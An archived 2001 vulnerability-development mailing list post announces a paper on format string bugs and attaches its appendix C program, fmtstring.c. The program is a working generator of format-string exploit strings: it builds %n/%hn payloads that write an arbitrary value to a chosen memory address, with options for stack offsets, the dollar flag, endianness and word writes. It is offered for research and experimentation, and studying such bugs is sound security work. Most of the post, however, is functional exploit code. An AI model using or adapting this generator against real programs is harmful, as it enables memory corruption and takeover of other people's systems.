Vulnerability Development mailing list archives
Paper: Format String Bug Analysis
From: Andreas Thuemmel <a.thuemmel () WEB DE>
Date: Thu, 1 Mar 2001 08:53:18 +0100
Hello, I've written a little paper on the analysis of exploits based on format string bugs. The paper can be found at http://www.securityfocus.com/data/library/format-bug-analysis.pdf Enclosed you find the example code given in the appendix of the paper that can be used in order to experiment with format strings. Cheers, Andreas /* fmtstring.c * * "Format String Bug" example code * * by Andreas Thuemmel, November 2000 * a.thuemmel () computer org * */ /* * int gen_exploit_str( * char *fmt, * int n, * void *mm, * unsigned int k, * int string_offset, * int dollar_flag, * int bigendian, * int words * ) * Create an exploit string in order to write an arbitrary * value to an almost arbitrary address in memory via a * "Format String Bug". In order for the string to be usable, it has * to be stored on the stack somewhere above the frame of the * *printf function that reads the string. * * Arguments: * * fmt - pointer to a buffer that will hold the resulting string * (the buffer has to be long enaough to hold the string!), * n - number of bytes to walk up the stack in order to find the * format string, * mm - memory address to overwrite, * kk - value to write. * * Options: * * string_offset - number of chars in _final_ format string that * preceed the exp.-string, e.g. for iterated *printfs * (set to 0 most of the times) * if dollar_flag != 0 then use "$" format statement to walk up * the stack * if bigendian != 0 then assume bigendian format (beware! untested) * if words != 0 then do 2 short int writes instead of 4 byte writes * * Assumption: sizeof(int)=4, sizeof(short int)=2, sizeof(int*)=4 * Returns: * * -1 if the memory address (mm) is not writable, * length of the exploit string otherwise * * by Andreas Thuemmel, November 2000 * a.thuemmel () computer org * */ #include <string.h> #include <stdio.h> int gen_exploit_str(char *fmt, int n, void *mm, unsigned int k, int string_offset, int dollar_flag, int bigendian, int words) { int i, nn = n + string_offset; int plen = string_offset; /* length of *printf's output string */ int slen = 0; /* length of exploit string */ int stepup; /* # of bytes/4 to walk up the stack to find %n args */ int inc,shift; if (words) inc = 2, shift = 0x10000; else inc = 1, shift = 0x100; /* Adjust nn to a multiple of 4, as we can only walk up * the stack in steps of at least 4 bytes. Pad the * string as necessary. */ if (nn%4>0) { for (i=0; i<nn%4; i++) { sprintf(fmt+slen,"A"); slen++; plen++; nn++; } } stepup = nn/4; /* Write the "arguments" for %n at the head of the * string. We do 4 separate 'short int' writes via %hn. * One for every byte of k. Thus mm, mm+1, mm+2, mm+3 * are written to. None of them must contain a 0x00-byte. */ for (i=0; i<4; i+=inc) { unsigned int b0,b1,b2,b3, mem; if (bigendian) mem = (unsigned int)mm-i; else mem = (unsigned int)mm+i; b0 = mem&0xff; b1 = (mem>>8)&0xff; b2 = (mem>>16)&0xff; b3 = (mem>>24)&0xff; if ( b0*b1*b2*b3 == 0 ) { return -1; } if (bigendian) sprintf(fmt+slen," %c%c%c%c",b3,b2,b1,b0); else sprintf(fmt+slen," %c%c%c%c",b0,b1,b2,b3); slen += 8; plen += 8; } /* Write the actual %n format commands. In front * of every "%n" walk up the stack stepup*4 bytes * (by "$"-jumps if dollar_flag!=0, by stepup "%x"s otherwise) * in order to find our string that contains the memory * addresses to write to and adjust the length of * output string appropriately via length (".") * formated hexadecimal integer writes ("x"). */ if (!dollar_flag) { for (i=0; i<stepup; i++) { sprintf(fmt+slen,"%%.8x"); slen += 4; plen += 8; } } for (i=0; i<4; i+=inc) { int p = (k%shift - plen%shift); if (p<0) p += shift; if (p<8) p += shift; plen += p; k /= shift; if (dollar_flag) { sprintf(fmt+slen,"%%%d$.%dx%%%d$hn",stepup+1,p,stepup+2); stepup += 2; } else { sprintf(fmt+slen,"%%.%dx%%hn",p); } slen = strlen(fmt); } return slen; } #include <unistd.h> int main(int argc, char **argv) { char string[4096]; /* yes, I know it's lame but it's late.... */ int n = 0, m = 0, k = 0, off = 0, dollar = 0, big = 0, words = 0; char ch; extern int optind, opterr; extern char *optarg; while ((ch = getopt(argc, argv, "hdbwn:m:k:o:")) != -1) switch((char)ch) { case 'n': n = atoi(optarg); break; case 'm': sscanf(optarg,"%x",&m); /* I know... */ break; case 'k': sscanf(optarg,"%x",&k); break; case 'o': n = atoi(optarg); break; case 'd': dollar = 1; break; case 'b': big = 1; break; case 'w': words = 1; break; case 'h': default: puts("Options:"); puts(" -n stack walk up bytes (required)"); puts(" -m memory address to overwrite in hex (required)"); puts(" -k value to write in hex (required)"); puts(" -o offset"); puts(" -d use dollar flag"); puts(" -b big endian target architecture"); puts(" -w use word writes instead of byte writes"); exit(0); } if (gen_exploit_str(string,n,(void *)m,k,off,dollar,big,words) != -1) puts(string); else { puts("Address contains a 0x00 byte."); exit(1); } } ______________________________________________________________________________ Die Fachpresse ist sich einig: WEB.DE 18mal Testsieger! Kostenlos E-Mail, Fax, SMS, Verschlüsselung, POP3, WAP....testen Sie uns! http://freemail.web.de
Current thread:
- Paper: Format String Bug Analysis Andreas Thuemmel (Mar 01)
- Re: Paper: Format String Bug Analysis Maciek Pasternacki (Mar 06)